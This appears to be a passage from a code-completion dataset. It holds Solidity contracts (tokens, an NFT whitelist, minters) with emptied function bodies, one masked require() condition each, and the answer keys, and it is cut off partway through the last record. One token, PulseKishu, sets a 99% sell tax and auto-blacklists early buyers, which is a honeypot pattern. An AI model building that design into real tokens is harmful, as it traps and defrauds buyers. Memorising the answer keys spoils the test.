* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract PulseKishu is ERC20, Ownable{
using Address for address payable;
IRouter public router;
address public pair;
bool private swapping;
bool public swapEnabled;
bool public tradingEnabled;
uint256 public genesis_block;
uint256 public deadblocks = 0;
uint256 public swapThreshold = 10_000 * 10e18;
uint256 public maxTxAmount = 10_000_000 * 10**18;
uint256 public maxWalletAmount = 200_000 * 10**18;
address public marketingWallet = 0xDfc4E534Ed350fE4F4dd832E6a2C5a78a30c86bA;
address public devWallet = 0xDfc4E534Ed350fE4F4dd832E6a2C5a78a30c86bA;
struct Taxes {
uint256 marketing;
uint256 liquidity;
uint256 dev;
}
Taxes public taxes = Taxes(3,0,0);
Taxes public sellTaxes = Taxes(99,0,0);
uint256 public totTax = 3;
uint256 public totSellTax = 99;
mapping (address => bool) public excludedFromFees;
mapping (address => bool) public isBot;
modifier inSwap() {
}
constructor() ERC20("PulseKishu", "PLSK") {
}
function _transfer(address sender, address recipient, uint256 amount) internal override {
require(amount > 0, "Transfer amount must be greater than zero");
require(!isBot[sender] && !isBot[recipient], "You can't transfer tokens");
if(!excludedFromFees[sender] && !excludedFromFees[recipient] && !swapping){
require(tradingEnabled, "Trading not active yet");
if(genesis_block + deadblocks > block.number){
if(recipient != pair) isBot[recipient] = true;
if(sender != pair) isBot[sender] = true;
}
require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
if(recipient != pair){
require(<FILL_ME>)
}
}
uint256 fee;
//set fee to zero if fees in contract are handled or exempted
if (swapping || excludedFromFees[sender] || excludedFromFees[recipient]) fee = 0;
//calculate fee
else{
if(recipient == pair) fee = amount * totSellTax / 100;
else fee = amount * totTax / 100;
}
//send fees if threshold has been reached
//don't do this on buys, breaks swap
if (swapEnabled && !swapping && sender != pair && fee > 0) swapForFees();
super._transfer(sender, recipient, amount - fee);
if(fee > 0) super._transfer(sender, address(this) ,fee);
}
function swapForFees() private inSwap {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
}
function setSwapEnabled(bool state) external onlyOwner {
}
function setSwapThreshold(uint256 new_amount) external onlyOwner {
}
function enableTrading(uint256 numOfDeadBlocks) external onlyOwner{
}
function setTaxes(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner{
}
function setSellTaxes(uint256 _marketing, uint256 _liquidity, uint256 _dev) external onlyOwner{
}
function updateMarketingWallet(address newWallet) external onlyOwner{
}
function updateDevWallet(address newWallet) external onlyOwner{
}
function updateRouterAndPair(IRouter _router, address _pair) external onlyOwner{
}
function setIsBot(address account, bool state) external onlyOwner{
}
function updateExcludedFromFees(address _address, bool state) external onlyOwner {
}
function updateMaxTxAmount(uint256 amount) external onlyOwner{
}
function updateMaxWalletAmount(uint256 amount) external onlyOwner{
}
function rescueERC20(address tokenAddress, uint256 amount) external onlyOwner{
}
function rescueETH(uint256 weiAmount) external onlyOwner{
}
function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{
}
// fallbacks
receive() external payable {}
}
| balanceOf(recipient)+amount<=maxWalletAmount,"You are exceeding maxWalletAmount" | 67,852 | balanceOf(recipient)+amount<=maxWalletAmount |
"CollectionMinterRoyaltyFactory: only deployers or owner can call this function" | // SPDX-License-Identifier: ISC
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interface/IMarketplaceSecondaryWhitelist.sol";
contract MarketplaceSecondaryWhitelist is Ownable, IMarketplaceSecondaryWhitelist {
mapping (address => bool) public deployersCollection;
modifier onlyDeployers() {
require(<FILL_ME>)
_;
}
function addDeployers(address _address) external onlyOwner {
}
function removeDeployers(address _address) external onlyOwner {
}
// ERC721 assets variables
mapping (address => bool) public override is721Whitelisted;
address[] whitelisted721Collections;
// ERC1155 assets variables
mapping (address => bool) public override is1155Whitelisted;
address[] whitelisted1155Collections;
// Payment tokens
// NOTE: 0x00000... means BNB
mapping (address => bool) public override isPaymentTokenWhitelisted;
address[] public whitelistedPaymentTokens;
/**
* @notice Constructor
*/
constructor () {
}
/**
* @notice Returns the list of whitelisted ERC721 collections
*/
function getWhitelistedCollections721() external view override returns (address[] memory) {
}
/**
* @notice Returns the list of whitelisted ERC1155 collections
*/
function getWhitelistedCollections1155() external view override returns (address[] memory) {
}
// PRIVILEGED METHODS
/**
* @notice Add collection to whitelist
* @param _token Token to whitelist
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function addCollectionToWhitelist(address _token, bool _is721) external onlyDeployers {
}
/**
* @notice Remove collection to whitelist
* @param _index Index of the collection to remove
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function removeCollectionToWhitelist(uint _index, bool _is721) external onlyDeployers {
}
/**
* @notice Add payment token to whitelist
* @param _token Tokent to whitelist
*/
function addPaymentTokenToWhitelist(address _token) external override onlyDeployers {
}
/**
* @notice Remove payment token to whitelist
* @param _index Index of the token to remove from whitelist
*/
function removePaymentTokenToWhitelist(uint _index) external override onlyDeployers {
}
/**
* @notice Return the list of whitelisted payment tokens
*/
function getWhitelistedPaymentTokens() external view override returns (address[] memory) {
}
}
| deployersCollection[msg.sender]==true||msg.sender==owner(),"CollectionMinterRoyaltyFactory: only deployers or owner can call this function" | 67,918 | deployersCollection[msg.sender]==true||msg.sender==owner() |
"CollectionMinterRoyaltyFactory: address already added" | // SPDX-License-Identifier: ISC
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interface/IMarketplaceSecondaryWhitelist.sol";
contract MarketplaceSecondaryWhitelist is Ownable, IMarketplaceSecondaryWhitelist {
mapping (address => bool) public deployersCollection;
modifier onlyDeployers() {
}
function addDeployers(address _address) external onlyOwner {
require(<FILL_ME>)
deployersCollection[_address] = true;
}
function removeDeployers(address _address) external onlyOwner {
}
// ERC721 assets variables
mapping (address => bool) public override is721Whitelisted;
address[] whitelisted721Collections;
// ERC1155 assets variables
mapping (address => bool) public override is1155Whitelisted;
address[] whitelisted1155Collections;
// Payment tokens
// NOTE: 0x00000... means BNB
mapping (address => bool) public override isPaymentTokenWhitelisted;
address[] public whitelistedPaymentTokens;
/**
* @notice Constructor
*/
constructor () {
}
/**
* @notice Returns the list of whitelisted ERC721 collections
*/
function getWhitelistedCollections721() external view override returns (address[] memory) {
}
/**
* @notice Returns the list of whitelisted ERC1155 collections
*/
function getWhitelistedCollections1155() external view override returns (address[] memory) {
}
// PRIVILEGED METHODS
/**
* @notice Add collection to whitelist
* @param _token Token to whitelist
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function addCollectionToWhitelist(address _token, bool _is721) external onlyDeployers {
}
/**
* @notice Remove collection to whitelist
* @param _index Index of the collection to remove
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function removeCollectionToWhitelist(uint _index, bool _is721) external onlyDeployers {
}
/**
* @notice Add payment token to whitelist
* @param _token Tokent to whitelist
*/
function addPaymentTokenToWhitelist(address _token) external override onlyDeployers {
}
/**
* @notice Remove payment token to whitelist
* @param _index Index of the token to remove from whitelist
*/
function removePaymentTokenToWhitelist(uint _index) external override onlyDeployers {
}
/**
* @notice Return the list of whitelisted payment tokens
*/
function getWhitelistedPaymentTokens() external view override returns (address[] memory) {
}
}
| deployersCollection[_address]==false,"CollectionMinterRoyaltyFactory: address already added" | 67,918 | deployersCollection[_address]==false |
"CollectionMinterRoyaltyFactory: address not already added" | // SPDX-License-Identifier: ISC
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interface/IMarketplaceSecondaryWhitelist.sol";
contract MarketplaceSecondaryWhitelist is Ownable, IMarketplaceSecondaryWhitelist {
mapping (address => bool) public deployersCollection;
modifier onlyDeployers() {
}
function addDeployers(address _address) external onlyOwner {
}
function removeDeployers(address _address) external onlyOwner {
require(<FILL_ME>)
deployersCollection[_address] = false;
}
// ERC721 assets variables
mapping (address => bool) public override is721Whitelisted;
address[] whitelisted721Collections;
// ERC1155 assets variables
mapping (address => bool) public override is1155Whitelisted;
address[] whitelisted1155Collections;
// Payment tokens
// NOTE: 0x00000... means BNB
mapping (address => bool) public override isPaymentTokenWhitelisted;
address[] public whitelistedPaymentTokens;
/**
* @notice Constructor
*/
constructor () {
}
/**
* @notice Returns the list of whitelisted ERC721 collections
*/
function getWhitelistedCollections721() external view override returns (address[] memory) {
}
/**
* @notice Returns the list of whitelisted ERC1155 collections
*/
function getWhitelistedCollections1155() external view override returns (address[] memory) {
}
// PRIVILEGED METHODS
/**
* @notice Add collection to whitelist
* @param _token Token to whitelist
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function addCollectionToWhitelist(address _token, bool _is721) external onlyDeployers {
}
/**
* @notice Remove collection to whitelist
* @param _index Index of the collection to remove
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function removeCollectionToWhitelist(uint _index, bool _is721) external onlyDeployers {
}
/**
* @notice Add payment token to whitelist
* @param _token Tokent to whitelist
*/
function addPaymentTokenToWhitelist(address _token) external override onlyDeployers {
}
/**
* @notice Remove payment token to whitelist
* @param _index Index of the token to remove from whitelist
*/
function removePaymentTokenToWhitelist(uint _index) external override onlyDeployers {
}
/**
* @notice Return the list of whitelisted payment tokens
*/
function getWhitelistedPaymentTokens() external view override returns (address[] memory) {
}
}
| deployersCollection[_address]==true,"CollectionMinterRoyaltyFactory: address not already added" | 67,918 | deployersCollection[_address]==true |
"MarketplaceWhitelist: Collection already whitelisted" | // SPDX-License-Identifier: ISC
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interface/IMarketplaceSecondaryWhitelist.sol";
contract MarketplaceSecondaryWhitelist is Ownable, IMarketplaceSecondaryWhitelist {
mapping (address => bool) public deployersCollection;
modifier onlyDeployers() {
}
function addDeployers(address _address) external onlyOwner {
}
function removeDeployers(address _address) external onlyOwner {
}
// ERC721 assets variables
mapping (address => bool) public override is721Whitelisted;
address[] whitelisted721Collections;
// ERC1155 assets variables
mapping (address => bool) public override is1155Whitelisted;
address[] whitelisted1155Collections;
// Payment tokens
// NOTE: 0x00000... means BNB
mapping (address => bool) public override isPaymentTokenWhitelisted;
address[] public whitelistedPaymentTokens;
/**
* @notice Constructor
*/
constructor () {
}
/**
* @notice Returns the list of whitelisted ERC721 collections
*/
function getWhitelistedCollections721() external view override returns (address[] memory) {
}
/**
* @notice Returns the list of whitelisted ERC1155 collections
*/
function getWhitelistedCollections1155() external view override returns (address[] memory) {
}
// PRIVILEGED METHODS
/**
* @notice Add collection to whitelist
* @param _token Token to whitelist
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function addCollectionToWhitelist(address _token, bool _is721) external onlyDeployers {
if (_is721) {
require(<FILL_ME>)
is721Whitelisted[_token] = true;
whitelisted721Collections.push(_token);
} else {
require (! is1155Whitelisted[_token], "MarketplaceWhitelist: Collection already whitelisted");
is1155Whitelisted[_token] = true;
whitelisted1155Collections.push(_token);
}
}
/**
* @notice Remove collection to whitelist
* @param _index Index of the collection to remove
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function removeCollectionToWhitelist(uint _index, bool _is721) external onlyDeployers {
}
/**
* @notice Add payment token to whitelist
* @param _token Tokent to whitelist
*/
function addPaymentTokenToWhitelist(address _token) external override onlyDeployers {
}
/**
* @notice Remove payment token to whitelist
* @param _index Index of the token to remove from whitelist
*/
function removePaymentTokenToWhitelist(uint _index) external override onlyDeployers {
}
/**
* @notice Return the list of whitelisted payment tokens
*/
function getWhitelistedPaymentTokens() external view override returns (address[] memory) {
}
}
| !is721Whitelisted[_token],"MarketplaceWhitelist: Collection already whitelisted" | 67,918 | !is721Whitelisted[_token] |
"MarketplaceWhitelist: Collection already whitelisted" | // SPDX-License-Identifier: ISC
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interface/IMarketplaceSecondaryWhitelist.sol";
contract MarketplaceSecondaryWhitelist is Ownable, IMarketplaceSecondaryWhitelist {
mapping (address => bool) public deployersCollection;
modifier onlyDeployers() {
}
function addDeployers(address _address) external onlyOwner {
}
function removeDeployers(address _address) external onlyOwner {
}
// ERC721 assets variables
mapping (address => bool) public override is721Whitelisted;
address[] whitelisted721Collections;
// ERC1155 assets variables
mapping (address => bool) public override is1155Whitelisted;
address[] whitelisted1155Collections;
// Payment tokens
// NOTE: 0x00000... means BNB
mapping (address => bool) public override isPaymentTokenWhitelisted;
address[] public whitelistedPaymentTokens;
/**
* @notice Constructor
*/
constructor () {
}
/**
* @notice Returns the list of whitelisted ERC721 collections
*/
function getWhitelistedCollections721() external view override returns (address[] memory) {
}
/**
* @notice Returns the list of whitelisted ERC1155 collections
*/
function getWhitelistedCollections1155() external view override returns (address[] memory) {
}
// PRIVILEGED METHODS
/**
* @notice Add collection to whitelist
* @param _token Token to whitelist
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function addCollectionToWhitelist(address _token, bool _is721) external onlyDeployers {
if (_is721) {
require (! is721Whitelisted[_token], "MarketplaceWhitelist: Collection already whitelisted");
is721Whitelisted[_token] = true;
whitelisted721Collections.push(_token);
} else {
require(<FILL_ME>)
is1155Whitelisted[_token] = true;
whitelisted1155Collections.push(_token);
}
}
/**
* @notice Remove collection to whitelist
* @param _index Index of the collection to remove
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function removeCollectionToWhitelist(uint _index, bool _is721) external onlyDeployers {
}
/**
* @notice Add payment token to whitelist
* @param _token Tokent to whitelist
*/
function addPaymentTokenToWhitelist(address _token) external override onlyDeployers {
}
/**
* @notice Remove payment token to whitelist
* @param _index Index of the token to remove from whitelist
*/
function removePaymentTokenToWhitelist(uint _index) external override onlyDeployers {
}
/**
* @notice Return the list of whitelisted payment tokens
*/
function getWhitelistedPaymentTokens() external view override returns (address[] memory) {
}
}
| !is1155Whitelisted[_token],"MarketplaceWhitelist: Collection already whitelisted" | 67,918 | !is1155Whitelisted[_token] |
"MarketplaceWhitelist: Payment token already whitelisted" | // SPDX-License-Identifier: ISC
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interface/IMarketplaceSecondaryWhitelist.sol";
contract MarketplaceSecondaryWhitelist is Ownable, IMarketplaceSecondaryWhitelist {
mapping (address => bool) public deployersCollection;
modifier onlyDeployers() {
}
function addDeployers(address _address) external onlyOwner {
}
function removeDeployers(address _address) external onlyOwner {
}
// ERC721 assets variables
mapping (address => bool) public override is721Whitelisted;
address[] whitelisted721Collections;
// ERC1155 assets variables
mapping (address => bool) public override is1155Whitelisted;
address[] whitelisted1155Collections;
// Payment tokens
// NOTE: 0x00000... means BNB
mapping (address => bool) public override isPaymentTokenWhitelisted;
address[] public whitelistedPaymentTokens;
/**
* @notice Constructor
*/
constructor () {
}
/**
* @notice Returns the list of whitelisted ERC721 collections
*/
function getWhitelistedCollections721() external view override returns (address[] memory) {
}
/**
* @notice Returns the list of whitelisted ERC1155 collections
*/
function getWhitelistedCollections1155() external view override returns (address[] memory) {
}
// PRIVILEGED METHODS
/**
* @notice Add collection to whitelist
* @param _token Token to whitelist
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function addCollectionToWhitelist(address _token, bool _is721) external onlyDeployers {
}
/**
* @notice Remove collection to whitelist
* @param _index Index of the collection to remove
* @param _is721 True if the collections is an ERC721, false if it is an ERC1155
*/
function removeCollectionToWhitelist(uint _index, bool _is721) external onlyDeployers {
}
/**
* @notice Add payment token to whitelist
* @param _token Tokent to whitelist
*/
function addPaymentTokenToWhitelist(address _token) external override onlyDeployers {
require(<FILL_ME>)
isPaymentTokenWhitelisted[_token] = true;
whitelistedPaymentTokens.push(_token);
}
/**
* @notice Remove payment token to whitelist
* @param _index Index of the token to remove from whitelist
*/
function removePaymentTokenToWhitelist(uint _index) external override onlyDeployers {
}
/**
* @notice Return the list of whitelisted payment tokens
*/
function getWhitelistedPaymentTokens() external view override returns (address[] memory) {
}
}
| !isPaymentTokenWhitelisted[_token],"MarketplaceWhitelist: Payment token already whitelisted" | 67,918 | !isPaymentTokenWhitelisted[_token] |
"LCFS Not enough tokens left." | pragma solidity 0.8.7;
contract LcFirstShot is ERC721PresetMinterPauserAutoId, Ownable {
using SafeMath for uint256;
address public devaddr;
string public baseURI;
string public baseURIHidden = "https://legendarycurves.mypinata.cloud/ipfs/QmX6F5FgePB2hgBM4iAzxW8pzBDKnyXe7JvdTpzHo7Nttn/metadata/wait.json";
uint256 public LC_MaxSupply = 690;
uint256 public MaxPurchase = 5;
uint256 public mintPrice = 0.05 ether;
bool public SaleisActive = false;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bool internal revealed = false;
event LogWithdrawal(address sender, uint amount);
event LogTransfer(address sender, address receiver, uint amount);
constructor() ERC721PresetMinterPauserAutoId("LC First Shot", "LCFS", "https://legendarycurves.mypinata.cloud/ipfs/QmUbPMW3ugvMkST1iMHUrw2e5ktHQhoFacLFVgNTqj88Q8/metadata")
{
}
function getBalance() public view returns(uint balance) {
}
function MintLCFirstShot(uint256 _count, address to) payable public {
require(<FILL_ME>)
require(SaleisActive, "LCFS Public sale is not active.");
require(_count <= MaxPurchase, "LCFS 10 transactions max");
require(mintPrice * _count <= msg.value, "LCFS Ether value sent is not correct");
_setupRole(MINTER_ROLE, msg.sender);
for (uint i = 1; i <= _count; i++) {
super.mint(to);
}
_revokeRole(MINTER_ROLE, msg.sender);
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address payable receiver, uint amount) payable external returns(bool success) {
}
function dev(address _devaddr) public {
}
function adminMinting(uint56 _count, address to) public {
}
function setNewbaseURI(string memory newBaseURI) public returns (string memory) {
}
function setNewMintPrice(uint256 newPrice) public {
}
function flipSaleStatus() external {
}
function flipReveal() external {
}
function setNewbaseHiddenURI(string memory newBaseURI) public returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
}
| totalSupply().add(_count)<=LC_MaxSupply,"LCFS Not enough tokens left." | 68,167 | totalSupply().add(_count)<=LC_MaxSupply |
"LCFS Ether value sent is not correct" | pragma solidity 0.8.7;
contract LcFirstShot is ERC721PresetMinterPauserAutoId, Ownable {
using SafeMath for uint256;
address public devaddr;
string public baseURI;
string public baseURIHidden = "https://legendarycurves.mypinata.cloud/ipfs/QmX6F5FgePB2hgBM4iAzxW8pzBDKnyXe7JvdTpzHo7Nttn/metadata/wait.json";
uint256 public LC_MaxSupply = 690;
uint256 public MaxPurchase = 5;
uint256 public mintPrice = 0.05 ether;
bool public SaleisActive = false;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bool internal revealed = false;
event LogWithdrawal(address sender, uint amount);
event LogTransfer(address sender, address receiver, uint amount);
constructor() ERC721PresetMinterPauserAutoId("LC First Shot", "LCFS", "https://legendarycurves.mypinata.cloud/ipfs/QmUbPMW3ugvMkST1iMHUrw2e5ktHQhoFacLFVgNTqj88Q8/metadata")
{
}
function getBalance() public view returns(uint balance) {
}
function MintLCFirstShot(uint256 _count, address to) payable public {
require(totalSupply().add(_count) <= LC_MaxSupply, "LCFS Not enough tokens left.");
require(SaleisActive, "LCFS Public sale is not active.");
require(_count <= MaxPurchase, "LCFS 10 transactions max");
require(<FILL_ME>)
_setupRole(MINTER_ROLE, msg.sender);
for (uint i = 1; i <= _count; i++) {
super.mint(to);
}
_revokeRole(MINTER_ROLE, msg.sender);
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address payable receiver, uint amount) payable external returns(bool success) {
}
function dev(address _devaddr) public {
}
function adminMinting(uint56 _count, address to) public {
}
function setNewbaseURI(string memory newBaseURI) public returns (string memory) {
}
function setNewMintPrice(uint256 newPrice) public {
}
function flipSaleStatus() external {
}
function flipReveal() external {
}
function setNewbaseHiddenURI(string memory newBaseURI) public returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
}
| mintPrice*_count<=msg.value,"LCFS Ether value sent is not correct" | 68,167 | mintPrice*_count<=msg.value |
"LCFS must have admin role to withdraw" | pragma solidity 0.8.7;
contract LcFirstShot is ERC721PresetMinterPauserAutoId, Ownable {
using SafeMath for uint256;
address public devaddr;
string public baseURI;
string public baseURIHidden = "https://legendarycurves.mypinata.cloud/ipfs/QmX6F5FgePB2hgBM4iAzxW8pzBDKnyXe7JvdTpzHo7Nttn/metadata/wait.json";
uint256 public LC_MaxSupply = 690;
uint256 public MaxPurchase = 5;
uint256 public mintPrice = 0.05 ether;
bool public SaleisActive = false;
bytes32 public constant ADMIN_ROLE = keccak256("ADMIN_ROLE");
bool internal revealed = false;
event LogWithdrawal(address sender, uint amount);
event LogTransfer(address sender, address receiver, uint amount);
constructor() ERC721PresetMinterPauserAutoId("LC First Shot", "LCFS", "https://legendarycurves.mypinata.cloud/ipfs/QmUbPMW3ugvMkST1iMHUrw2e5ktHQhoFacLFVgNTqj88Q8/metadata")
{
}
function getBalance() public view returns(uint balance) {
}
function MintLCFirstShot(uint256 _count, address to) payable public {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address payable receiver, uint amount) payable external returns(bool success) {
require(<FILL_ME>)
emit LogWithdrawal(msg.sender, amount);
receiver.transfer(amount);
return true;
}
function dev(address _devaddr) public {
}
function adminMinting(uint56 _count, address to) public {
}
function setNewbaseURI(string memory newBaseURI) public returns (string memory) {
}
function setNewMintPrice(uint256 newPrice) public {
}
function flipSaleStatus() external {
}
function flipReveal() external {
}
function setNewbaseHiddenURI(string memory newBaseURI) public returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
}
| hasRole(ADMIN_ROLE,_msgSender()),"LCFS must have admin role to withdraw" | 68,167 | hasRole(ADMIN_ROLE,_msgSender()) |
"Signature is not valid!" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
interface IERC20 {
function mint(address to, uint amount) external;
}
contract ERC20Minter {
address private signer;
address public operator;
address public ERC20;
bool public paused;
// daily mints allowed
uint public DailyLimit;
// day# => amount (minted per day)
mapping(uint => uint) public DailyMinted;
// user => total claimed
mapping(address => uint) public UserClaimed;
// user => nonce
mapping(address => uint) public UserNonce;
constructor(
address _signer
) {
}
modifier onlyOperator() {
}
// getters
function getAllowedDailyMint() public view returns (uint) {
}
// used to add ore or change its existing daily limit
function setDailyLimit(uint _limit) public onlyOperator {
}
function mint(uint _amount, uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) public {
require(!paused, "Contract is paused!");
// hashing amoun + nonce + caller + callee + chainID
bytes32 _hash = keccak256(abi.encodePacked(_amount, _nonce, msg.sender, address(this), block.chainid));
require(<FILL_ME>)
require(_nonce == (UserNonce[msg.sender] + 1), "Invalid nonce");
require(getAllowedDailyMint() >= _amount, "Amounts exceeds daily minting limit");
DailyMinted[block.timestamp / 24 hours] += _amount;
UserClaimed[msg.sender] += _amount;
UserNonce[msg.sender] += 1;
IERC20(ERC20).mint(msg.sender, _amount);
}
function changeOperator(address _newOperator) public onlyOperator {
}
function changeERC20Address(address _newERC20) public onlyOperator {
}
function changeSigner(address _newSigner) public onlyOperator {
}
function setPaused(bool _isPaused) public onlyOperator {
}
event SetDailyLimit(uint);
event ChangeOperator(address);
event ChangeSigner(address);
event SetPaused(bool);
}
| ecrecover(_hash,_v,_r,_s)==signer,"Signature is not valid!" | 68,186 | ecrecover(_hash,_v,_r,_s)==signer |
"Invalid nonce" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
interface IERC20 {
function mint(address to, uint amount) external;
}
contract ERC20Minter {
address private signer;
address public operator;
address public ERC20;
bool public paused;
// daily mints allowed
uint public DailyLimit;
// day# => amount (minted per day)
mapping(uint => uint) public DailyMinted;
// user => total claimed
